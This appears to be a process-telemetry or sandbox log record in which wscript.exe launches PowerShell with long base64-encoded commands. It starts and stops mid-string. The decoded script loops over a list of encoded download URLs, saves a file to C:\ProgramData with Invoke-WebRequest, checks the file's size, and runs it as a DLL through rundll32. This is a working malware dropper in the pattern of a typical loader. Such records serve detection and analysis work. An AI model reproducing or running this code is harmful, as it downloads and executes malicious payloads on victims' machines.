QQBDADQAQQBNAGcAQQB5AEEARABFAEEATABnAEEAeQBBAEQAQQBBAE0AdwBBAD0AcwBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAFEAQQBNAEEAQQB1AEEARABFAEEATQBRAEEAdwBBAEMANABBAE0AUQBBADAAQQBEAFkAQQBMAGcAQQB4AEEARABjAEEATQBnAEEAPQBzAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQATQBBAE0AQQBBAHUAQQBEAEkAQQBNAEEAQQB6AEEAQwA0AEEATQBRAEEAMgBBAEQAZwBBAEwAZwBBAHgAQQBEAFUAQQBPAEEAQQA9ACIAOwBwAG8AdwBlAHIAcwBoAGUAbABsACAALQBlAG4AYwBvAGQAZQBkAGMAbwBtAG0AYQBuAGQAIAAiAEoAQQBCAGsAQQBHAGsAQQBjAEEAQgBzAEEARwA4AEEAYwB3AEIAdwBBAEcAOABBAGIAZwBCAGsAQQBIAGsAQQBiAEEAQgBwAEEARwBNAEEAUwBRAEIAdABBAEgAQQBBAGEAUQBCAHUAQQBHAGMAQQBaAFEAQgB5AEEAQwBBAEEAUABRAEEAZwBBAEMASQBBAFkAUQBCAG0AQQBHAFkAQQBiAEEAQgAxAEEASABnAEEAWgBRAEIAegBBAEUATQBBAFkAUQBCADEAQQBHAFEAQQBhAFEAQgBzAEEARwB3AEEAYgB3AEIAegBBAEMASQBBAE8AdwBBAGsAQQBHAFkAQQBiAHcAQgB5AEEASABJAEEAWQBRAEIAawBBAEcAVQBBAGMAZwBBAGcAQQBEADAAQQBJAEEAQQBpAEEARwBJAEEAYgB3AEIAMABBAEcAOABBAGIAZwBCAGwAQQBHAFUAQQBJAGcAQQA3AEEAQwBRAEEAZAB3AEIAcABBAEcATQBBAGEAdwBCAGwAQQBIAEkAQQBZAGcAQgA1AEEARQBZAEEAYwBnAEIAaABBAEgAUQBBAGMAZwBCAHAAQQBHAE0AQQBhAFEAQgBrAEEARwBFAEEAYgBBAEEAZwBBAEQAMABBAEkAQQBBAGkAQQBIAEkAQQBhAEEAQgBwAEEARwA0AEEAYgB3AEIAaQBBAEcARQBBAGQAQQBCADEAQQBIAE0AQQBJAGcAQQA3AEEAQwBRAEEAYwBBAEIAegBBAEgAawBBAFkAdwBCAG8AQQBHADgAQQBjAHcAQgB2AEEARwAwAEEAWQBRAEIAMABBAEcAawBBAFkAdwBCAFcAQQBIAFUAQQBiAEEAQgBuAEEARwBFAEEAYwBnAEIAcABBAEgAbwBBAFoAUQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBJAEEAUwBRAEIAdQBBAEgAUQBBAFoAUQBCAHkAQQBHAE0AQQBiAHcAQgB5AEEASABJAEEAWgBRAEIAcwBBAEcARQBBAGQAQQBCAHAAQQBHADQAQQBaAHcAQgBDAEEARwBVAEEAYgBnAEIAagBBAEcAZwBBAGQAdwBCAGgAQQBIAEkAQQBiAFEAQgBsAEEASABJAEEASQBnAEEANwBBAEcATQBBAGIAUQBCAGsAQQBDAEEAQQBMAHcAQgBqAEEAQwBBAEEAYwBnAEIAMQBBAEcANABBAFoAQQBCAHMAQQBHAHcAQQBNAHcAQQB5AEEAQwBBAEEAUQB3AEEANgBBAEYAdwBBAFUAQQBCAHkAQQBHADgAQQBaAHcAQgB5AEEARwBFAEEAYgBRAEIARQBBAEcARQBBAGQAQQBCAGgAQQBGAHcAQQBaAEEAQgAxAEEASABNAEEAZABBAEIAdgBBAEgAVQBBAGMAZwBBAHUAQQBHAFEAQQBiAEEAQgBzAEEAQwB3AEEAYgBRAEIAdgBBAEgASQBBAFoAUQBBADcAQQBDAFEAQQBVAEEAQgA1AEEARwB3AEEAYgB3AEIAeQBBAEcAawBBAGMAdwBCADAAQQBHAFUAQQBiAGcAQgB2AEEASABNAEEAYQBRAEIAegBBAEYAUQBBAGMAZwBCAGwAQQBIAE0AQQBjAHcAQgB2AEEARwA0AEEASQBBAEEAOQBBAEMAQQBBAEkAZwBCADEAQQBHADQAQQBjAHcAQgBsAEEASABJAEEAWgBnAEIAcwBBAEcAawBBAGEAdwBCAGwAQQBDAEkAQQBPAHcAQQBrAEEARwBNAEEAYgB3AEIAdQBBAEcAawBBAFoAZwBCAGwAQQBIAEkAQQBiAHcAQgAxAEEASABNAEEAUQBRAEIAeQBBAEcAYwBBAGQAUQBCAG0AQQBHAGsAQQBaAFEAQgB6AEEAQwBBAEEAUABRAEEAZwBBAEMASQBBAFUAQQBCAHoAQQBIAGsAQQBiAEEAQgBzAEEARwBrAEEAZABRAEIAdABBAEUAVQBBAFkAdwBCAHcAQQBHAGcAQQBiAHcAQgB5AEEARwBrAEEAZQBnAEIAbABBAEMASQBBAE8AdwBBAD0AIgA7ACQAVQBuAGQAZQByAHYAZQBuAHQAaQBsAGEAdABpAG8AbgAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAdABBAEcAOABBAGIAZwBCADAAQQBHAFUAQQBkAGcAQgBwAEEARwBRAEEAWgBRAEIAdgBBAEMANABBAGQAUQBCAHIAQQBBAD0APQBJAFAAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBsAEEASABnAEEAYwBBAEIAdgBBAEgATQBBAGEAUQBCADAAQQBHAFUAQQBaAEEAQQB1AEEASABZAEEAWgBRAEIAbgBBAEcARQBBAGMAdwBBAD0AIgA7AGIAcgBlAGEAawA7AH0AIABlAGwAcwBlACAAewB9AH0AIABjAGEAdABjAGgAIAB7AH0AfQA="
parent_process wscript.exe martian_process powershell -encodedcommand "JABNAGUAYQBuAGwAeQAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAUQBBAE4AdwBBAHUAQQBEAGcAQQBNAFEAQQB1AEEARABFAEEATgBRAEEANABBAEMANABBAE0AUQBBADUAQQBEAEEAQQAiADsAJABzAHQAdQBmAGYAaQBuAGUAcwBzAFAAYQByAGIAbwBpAGwAaQBuAGcAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAFkAQQBOAFEAQQB1AEEARABFAEEATgBnAEEAeABBAEMANABBAE0AZwBBADAAQQBEAGsAQQBMAGcAQQB4AEEARABnAEEATQBRAEEAPQBOAFQAdABrAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEgAVQBBAGIAZwBCAG8AQQBHADgAQQBZAFEAQgA0AEEARwBVAEEAWgBBAEIASQBBAEcAOABBAGIAdwBCAHcAQQBHAFUAQQBjAGcAQQB1AEEARwBNAEEAYgBnAEEAPQAiADsAJABDAG8AbABpAGMAawBlAHIASABhAGUAbQBhAHQAbwBtAGEAcwAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEUAZwBBAGEAUQBCAGwAQQBIAEkAQQBiAHcAQgBuAEEARwB3AEEAZQBRAEIAdwBBAEcAZwBBAGEAUQBCAGoAQQBHAEUAQQBiAEEAQQB1AEEARwBNAEEAYgB3AEIAdgBBAEcAdwBBAEwAdwBCAFgAQQBIAG8AQQBjAEEAQgBtAEEARQBnAEEATAB3AEIAdwBBAEcANABBAEkAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEASABNAEEAYQB3AEIAbABBAEgAQQBBAGQAQQBCAHAAQQBHAE0AQQBZAFEAQgBzAEEARwB3AEEAZQBRAEIAUwBBAEgAVQBBAGMAdwBCAG8AQQBHAEkAQQBkAFEAQgB6AEEARwBnAEEATABnAEIAagBBAEcAOABBAEwAdwBCADIAQQBFAEkAQQBWAHcAQgBhAEEAQwA4AEEAZABnAEIATABBAEgAWQBBAE4AdwBCADYAQQBBAD0APQBJAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAWQBBAE0AZwBBAHUAQQBEAEkAQQBOAFEAQQB5AEEAQwA0AEEATQBRAEEAMwBBAEQASQBBAEwAZwBBAHkAQQBEAEEAQQBOAHcAQQB2AEEARgBBAEEAWgBRAEEAMgBBAEYARQBBAEwAdwBCAFYAQQBEAFEAQQBlAEEAQQAwAEEARABnAEEAVAB3AEIAdwBBAEYAbwBBAFoAZwBCAHQAQQBBAD0APQBJAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAWQBBAE0AZwBBAHUAQQBEAEkAQQBOAFEAQQB5AEEAQwA0AEEATQBRAEEAMwBBAEQAVQBBAEwAZwBBAHgAQQBEAGcAQQBNAEEAQQB2AEEARgBFAEEAYwB3AEIAVgBBAEMAOABBAGMAdwBBADAAQQBIAG8AQQBTAFEAQgB4AEEARABJAEEAWQBRAEIAaABBAEgAZwBBAEkAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABZAEEATQBnAEEAdQBBAEQASQBBAE4AUQBBAHkAQQBDADQAQQBNAFEAQQAzAEEARABVAEEATABnAEEAeQBBAEQARQBBAE8AUQBBAHYAQQBHADQAQQBkAHcAQQAwAEEARQB3AEEAZABBAEEAdgBBAEgAYwBBAFUAUQBCAEoAQQBIAEkAQQBkAGcAQQA9ACIAOwAkAGEAdAB0AG8AcgBuAGUAeQAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEcATQBBAFkAUQBCAHcAQQBHAFUAQQBjAGcAQgBsAEEASABJAEEAUwBBAEIAdgBBAEcANABBAGIAdwBCADEAQQBIAEkAQQBjAHcAQQB1AEEASABjAEEAYgB3AEIAeQBBAEcAcwBBACIAOwBmAG8AcgBlAGEAYwBoACAAKAAkAGUAcwB0AHIAdQBhAGwAIABpAG4AIAAkAEMAbwBsAGkAYwBrAGUAcgBIAGEAZQBtAGEAdABvAG0AYQBzACAALQBzAHAAbABpAHQAIAAiAEkAIgApACAAewAkAGsAaABlAGQAYQBoAEIAYQByAGIAaQB0AHUAcgBhAHQAZQAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAZwBBAE8AUQBBAHUAQQBEAEkAQQBOAEEAQQA0AEEAQwA0AEEATQBRAEEAMwBBAEQAZwBBAEwAZwBBADUAQQBEAEkAQQByAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEUAUQBBAGEAUQBCADAAQQBIAFEAQQBiAHcAQgBsAEEASABNAEEATABnAEIAdwBBAEcAawBBAFkAdwBCAHoAQQBBAD0APQByAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAawBBAE0AQQBBAHUAQQBEAEUAQQBOAFEAQQA1AEEAQwA0AEEATQBRAEEAeQBBAEQAawBBAEwAZwBBAHkAQQBEAFEAQQBNAEEAQQA9ACIAOwAkAFMAdQBiAHAAaABhAHMAZQBzACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABJAEEATgBBAEEAdwBBAEMANABBAE0AUQBBADUAQQBEAGcAQQBMAGcAQQB4AEEARABRAEEATgBRAEEAdQBBAEQARQBBAE0AZwBBADAAQQBBAD0APQBCAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIARABBAEcARQBBAGIAUQBCAHcAQQBIAE0AQQBhAFEAQgAwAEEARwBVAEEAYwB3AEIARgBBAEgAWQBBAGIAdwBCAGoAQQBHAEUAQQBkAEEAQgBsAEEARwBRAEEATABnAEIAbQBBAEcAOABBAGQAUQBCAHUAQQBHAFEAQQBZAFEAQgAwAEEARwBrAEEAYgB3AEIAdQBBAEEAPQA9ACIAOwAkAHMAYwBpAG8AbABpAHMAbQBSAGUAZQBqAGUAYwB0AHMAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBGAFUAQQBiAGcAQgB4AEEASABVAEEAYQBRAEIAMABBAEMANABBAFkAdwBCAHYAQQBHADAAQQAiADsAdAByAHkAIAB7ACQAUgBvAGEAZABzAHQAZQBhAGQAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHkAQQBEAE0AQQBOAHcAQQB1AEEARABJAEEATgBBAEEAegBBAEMANABBAE0AUQBBADMAQQBEAEkAQQBMAGcAQQAwAEEARABrAEEAawBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAEUAQQBNAEEAQQAxAEEAQwA0AEEATQBRAEEAeQBBAEQASQBBAEwAZwBBAHkAQQBEAE0AQQBNAEEAQQB1AEEARABFAEEATQB3AEEAeQBBAEEAPQA9AGsAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARgBBAEEAWQBRAEIAeQBBAEcARQBBAGIAQQBCAHYAQQBHAGMAQQBhAFEAQgBqAEEARwBrAEEAWQBRAEIAdQBBAEMANABBAFoAQQBCAGgAQQBIAFEAQQBaAFEAQQA9AGsAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABFAEEATQBnAEEAMwBBAEMANABBAE0AUQBBADMAQQBEAGcAQQBMAGcAQQB5AEEARABNAEEATwBBAEEAdQBBAEQASQBBAE0AUQBBADMAQQBBAD0APQAiADsAJABrAGkAbABsAGQAZQBlACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB5AEEARABJAEEATQB3AEEAdQBBAEQARQBBAE0AZwBBAHoAQQBDADQAQQBNAFEAQQAwAEEARABnAEEATABnAEEAeABBAEQASQBBAE8AUQBBAD0AIgA7ACQAcwBwAG8AdQB0AGUAcgBzAEgAZQBzAHMAaQBhAG4AcwAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEgATQBBAGIAQQBCAHYAQQBIAEEAQQBjAEEAQgBwAEEARwA0AEEAWgB3AEIASwBBAEcAVQBBAFoAUQBCADMAQQBHAGcAQQBhAFEAQgBzAEEARwB3AEEAYQBRAEIAcgBBAEcAVQBBAGIAZwBCAHoAQQBDADQAQQBaAEEAQgBwAEEARwBFAEEAYgBRAEIAdgBBAEcANABBAFoAQQBCAHoAQQBBAD0APQBsAE8AYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBTAEEARwBFAEEAZQBBAEIAcABBAEcANABBAFoAdwBCAEoAQQBHADQAQQBkAEEAQgBsAEEASABJAEEAYgBBAEIAdgBBAEcATQBBAFkAUQBCADAAQQBHAFUAQQBaAEEAQQB1AEEARwBjAEEAYQBRAEIAbQBBAEgAUQBBAGMAdwBBAD0AIgA7ACQATwBiAHMAbwBsAGUAcwBjAGUAZAAgAD0AIAAkAGUAcwB0AHIAdQBhAGwAOwAkAHMAbABhAHQAaQBuAGcAcwAgAD0AIAAiAFoAQQBCADEAQQBIAE0AQQBkAEEAQgB2AEEASABVAEEAYwBnAEEAdQBBAEcAUQBBAGIAQQBCAHMAQQBBAD0APQAiADsAJABQAG4AZQB1AG0AbwBlAG4AYwBlAHAAaABhAGwAaQB0AGkAcwBPAHUAdAB2AGkAZQByACAAPQAgAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAbgBpAGMAbwBkAGUALgBHAGUAdABTAHQAcgBpAG4AZwAoAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAE8AYgBzAG8AbABlAHMAYwBlAGQAKQApADsAJABpAG0AbQBlAHIAZwBlAG4AdAAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAG4AaQBjAG8AZABlAC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABzAGwAYQB0AGkAbgBnAHMAKQApADsASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAAJABQAG4AZQB1AG0AbwBlAG4AYwBlAHAAaABhAGwAaQB0AGkAcwBPAHUAdAB2AGkAZQByACAALQBPACAAQwA6AFwAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXABcACQAaQBtAG0AZQByAGcAZQBuAHQAOwAkAFIAbwBhAGQAcwB0AGUAYQBkACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB5AEEARABNAEEATgB3AEEAdQBBAEQASQBBAE4AQQBBAHoAQQBDADQAQQBNAFEAQQAzAEEARABJAEEATABnAEEAMABBAEQAawBBAGsAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABFAEEATQBBAEEAMQBBAEMANABBAE0AUQBBAHkAQQBEAEkAQQBMAGcAQQB5AEEARABNAEEATQBBAEEAdQBBAEQARQBBAE0AdwBBAHkAQQBBAD0APQBrAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEYAQQBBAFkAUQBCAHkAQQBHAEUAQQBiAEEAQgB2AEEARwBjAEEAYQBRAEIAagBBAEcAawBBAFkAUQBCAHUAQQBDADQAQQBaAEEAQgBoAEEASABRAEEAWgBRAEEAPQBrAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQARQBBAE0AZwBBADMAQQBDADQAQQBNAFEAQQAzAEEARABnAEEATABnAEEAeQBBAEQATQBBAE8AQQBBAHUAQQBEAEkAQQBNAFEAQQAzAEEAQQA9AD0AIgA7ACQAawBpAGwAbABkAGUAZQAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeQBBAEQASQBBAE0AdwBBAHUAQQBEAEUAQQBNAGcAQQB6AEEAQwA0AEEATQBRAEEAMABBAEQAZwBBAEwAZwBBAHgAQQBEAEkAQQBPAFEAQQA9ACIAOwAkAHMAcABvAHUAdABlAHIAcwBIAGUAcwBzAGkAYQBuAHMAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBIAE0AQQBiAEEAQgB2AEEASABBAEEAYwBBAEIAcABBAEcANABBAFoAdwBCAEsAQQBHAFUAQQBaAFEAQgAzAEEARwBnAEEAYQBRAEIAcwBBAEcAdwBBAGEAUQBCAHIAQQBHAFUAQQBiAGcAQgB6AEEAQwA0AEEAWgBBAEIAcABBAEcARQBBAGIAUQBCAHYAQQBHADQAQQBaAEEAQgB6AEEAQQA9AD0AbABPAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAUwBBAEcARQBBAGUAQQBCAHAAQQBHADQAQQBaAHcAQgBKAEEARwA0AEEAZABBAEIAbABBAEgASQBBAGIAQQBCAHYAQQBHAE0AQQBZAFEAQgAwAEEARwBVAEEAWgBBAEEAdQBBAEcAYwBBAGEAUQBCAG0AQQBIAFEAQQBjAHcAQQA9ACIAOwAkAFIAZQB2AGkAdgBhAGwAaQBzAG0AIAA9ACAAKABHAGUAdAAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIABDADoAXABcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAFwAJABpAG0AbQBlAHIAZwBlAG4AdAApAC4ATABlAG4AZwB0AGgAOwAkAFIAZQBiAGwAbwBjAGsAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBFAGcAQQBlAFEAQgB3AEEARwA4AEEAWQBRAEIAcwBBAEcAOABBAGIAZwBCAGwAQQBHADAAQQBhAFEAQgBoAEEARgBJAEEAWgBRAEIAMgBBAEcAOABBAGIAQQBCADEAQQBIAFEAQQBhAFEAQgB2AEEARwA0AEEAYQBRAEIAegBBAEcAVQBBAFoAQQBBAHUAQQBIAE0AQQBaAFEAQQA9AE0ASQBCAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEcANABBAFkAUQBCADAAQQBIAEkAQQBiAHcAQgBzAEEARwBrAEEAZABBAEIAbABBAEUATQBBAFkAUQBCAHoAQQBHAEUAQQBiAFEAQgBoAEEASABJAEEAWQB3AEIAaABBAEMANABBAGUAUQBCAHYAQQBHAHMAQQBiAHcAQgBvAEEARwBFAEEAYgBRAEIAaABBAEEAPQA9ACIAOwAkAFMAdABlAG4AaQBvAG4AIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAEUAQQBOAHcAQQB3AEEAQwA0AEEATgBBAEEAeQBBAEMANABBAE0AUQBBAHcAQQBEAEUAQQBMAGcAQQB4AEEARABBAEEATQBRAEEAPQBCAFAAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgB5AEEARwBnAEEAYQBRAEIANgBBAEcAOABBAGQAQQBCAHYAQQBHADAAQQBlAFEAQQB1AEEARwBNAEEAYgBBAEIAdgBBAEgAUQBBAGEAQQBCAHAAQQBHADQAQQBaAHcAQQA9AEIAUABhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAE0AQQBNAHcAQQB1AEEARABVAEEATQBnAEEAdQBBAEQARQBBAE4AZwBBADAAQQBDADQAQQBNAGcAQQB4AEEARABnAEEAQgBQAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIARABBAEgAVQBBAGIAZwBCAHUAQQBHAGsAQQBiAGcAQgBuAEEASABNAEEATABnAEIAagBBAEgASQBBAGEAUQBCAGoAQQBHAHMAQQBaAFEAQgAwAEEAQQA9AD0AIgA7ACQAUwBwAGUAYwB0AHIAbwBwAGgAbwB0AG8AbQBlAHQAcgBpAGMAUgBlAGEAbABsAG8AdABtAGUAbgB0ACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARgBFAEEAZABRAEIAaABBAEcAcwBBAFoAUQBCAHkAQQBHAFUAQQBjAHcAQgB6AEEARgBRAEEAYwBnAEIAbABBAEcASQBBAGIAQQBCAHAAQQBHADQAQQBaAHcAQQB1AEEARwBNAEEAYgB3AEIAcwBBAEcAdwBBAFoAUQBCAG4AQQBHAFUAQQBWAGgAYQBpAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAQgBBAEcATQBBAFkAdwBCAHYAQQBIAGsAQQBhAFEAQgB1AEEARwBjAEEATABnAEIAagBBAEcATQBBAFYAaABhAGkAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBRAEEARwBFAEEAYgBnAEIAMABBAEcAZwBBAFoAUQBCAHMAQQBHAFUAQQBiAFEAQgBoAEEASABRAEEAYQBRAEIAegBBAEcAMABBAFUAdwBCAGgAQQBHADQAQQBkAEEAQgBwAEEARwBrAEEATABnAEIAMwBBAEcAVQBBAFkAZwBCAGoAQQBHAEUAQQBiAFEAQQA9ACIAOwBpAGYAIAAoACQAUgBlAHYAaQB2AGEAbABpAHMAbQAgAC0AZwBlACAAOQAyADQAMgA5ACkAewAkAG0AZQByAGwAbwBuAHMARABhAGMAdAB5AGwAaQBvAGcAbAB5AHAAaAAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQAUQBBAE8AUQBBAHUAQQBEAGsAQQBOAHcAQQB1AEEARABFAEEATgB3AEEAegBBAEMANABBAE0AUQBBADMAQQBEAEUAQQByAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAUQBBAE0AdwBBAHUAQQBEAEkAQQBNAEEAQQB4AEEAQwA0AEEATQBRAEEAMQBBAEQATQBBAEwAZwBBAHgAQQBEAGcAQQBPAEEAQQA9AHIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEASABJAEEAWQBRAEIAawBBAEcAawBBAGIAdwBCADAAQQBHAFUAQQBiAEEAQgBsAEEASABBAEEAYQBBAEIAdgBBAEcANABBAFoAUQBCAEMAQQBHADgAQQBjAGcAQgB2AEEARwA0AEEAYwB3AEEAdQBBAEcAdwBBAGIAdwBCAHMAQQBBAD0APQByAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAZwBBAE4AUQBBAHUAQQBEAEUAQQBNAFEAQQAwAEEAQwA0AEEATQBnAEEAdwBBAEQAZwBBAEwAZwBBAHkAQQBEAEkAQQBOAGcAQQA9ACIAOwAkAGYAcgB1AGkAdAB3AG8AbQBlAG4AIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAEUAQQBNAGcAQQA0AEEAQwA0AEEATQBRAEEAegBBAEQAawBBAEwAZwBBAHgAQQBEAGcAQQBPAEEAQQB1AEEARABJAEEATQBRAEEAMgBBAEEAPQA9AHMAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABJAEEATQBBAEEAMgBBAEMANABBAE8AQQBBADIAQQBDADQAQQBNAGcAQQB5AEEARABFAEEATABnAEEAeQBBAEQAQQBBAE0AdwBBAD0AcwBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAFEAQQBNAEEAQQB1AEEARABFAEEATQBRAEEAdwBBAEMANABBAE0AUQBBADAAQQBEAFkAQQBMAGcAQQB4AEEARABjAEEATQBnAEEAPQBzAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQATQBBAE0AQQBBAHUAQQBEAEkAQQBNAEEAQQB6AEEAQwA0AEEATQBRAEEAMgBBAEQAZwBBAEwAZwBBAHgAQQBEAFUAQQBPAEEAQQA9ACIAOwBwAG8AdwBlAHIAcwBoAGUAbABsACAALQBlAG4AYwBvAGQAZQBkAGMAbwBtAG0AYQBuAGQAIAAiAEoAQQBCAGsAQQBHAGsAQQBjAEEAQgBzAEEARwA4AEEAYwB3AEIAdwBBAEcAOABBAGIAZwBCAGsAQQBIAGsAQQBiAEEAQgBwAEEARwBNAEEAUwBRAEIAdABBAEgAQQBBAGEAUQBCAHUAQQBHAGMAQQBaAFEAQgB5AEEAQwBBAEEAUABRAEEAZwBBAEMASQBBAFkAUQBCAG0AQQBHAFkAQQBiAEEAQgAxAEEASABnAEEAWgBRAEIAegBBAEUATQBBAFkAUQBCADEAQQBHAFEAQQBhAFEAQgBzAEEARwB3AEEAYgB3AEIAegBBAEMASQBBAE8AdwBBAGsAQQBHAFkAQQBiAHcAQgB5AEEASABJAEEAWQBRAEIAawBBAEcAVQBBAGMAZwBBAGcAQQBEADAAQQBJAEEAQQBpAEEARwBJAEEAYgB3AEIAMABBAEcAOABBAGIAZwBCAGwAQQBHAFUAQQBJAGcAQQA3AEEAQwBRAEEAZAB3AEIAcABBAEcATQBBAGEAdwBCAGwAQQBIAEkAQQBZAGcAQgA1AEEARQBZAEEAYwBnAEIAaABBAEgAUQBBAGMAZwBCAHAAQQBHAE0AQQBhAFEAQgBrAEEARwBFAEEAYgBBAEEAZwBBAEQAMABBAEkAQQBBAGkAQQBIAEkAQQBhAEEAQgBwAEEARwA0AEEAYgB3AEIAaQBBAEcARQBBAGQAQQBCADEAQQBIAE0AQQBJAGcAQQA3AEEAQwBRAEEAYwBBAEIAegBBAEgAawBBAFkAdwBCAG8AQQBHADgAQQBjAHcAQgB2AEEARwAwAEEAWQBRAEIAMABBAEcAawBBAFkAdwBCAFcAQQBIAFUAQQBiAEEAQgBuAEEARwBFAEEAYwBnAEIAcABBAEgAbwBBAFoAUQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBJAEEAUwBRAEIAdQBBAEgAUQBBAFoAUQBCAHkAQQBHAE0AQQBiAHcAQgB5AEEASABJAEEAWgBRAEIAcwBBAEcARQBBAGQAQQBCAHAAQQBHADQAQQBaAHcAQgBDAEEARwBVAEEAYgBnAEIAagBBAEcAZwBBAGQAdwBCAGgAQQBIAEkAQQBiAFEAQgBsAEEASABJAEEASQBnAEEANwBBAEcATQBBAGIAUQBCAGsAQQBDAEEAQQBMAHcAQgBqAEEAQwBBAEEAYwBnAEIAMQBBAEcANABBAFoAQQBCAHMAQQBHAHcAQQBNAHcAQQB5AEEAQwBBAEEAUQB3AEEANgBBAEYAdwBBAFUAQQBCAHkAQQBHADgAQQBaAHcAQgB5AEEARwBFAEEAYgBRAEIARQBBAEcARQBBAGQAQQBCAGgAQQBGAHcAQQBaAEEAQgAxAEEASABNAEEAZABBAEIAdgBBAEgAVQBBAGMAZwBBAHUAQQBH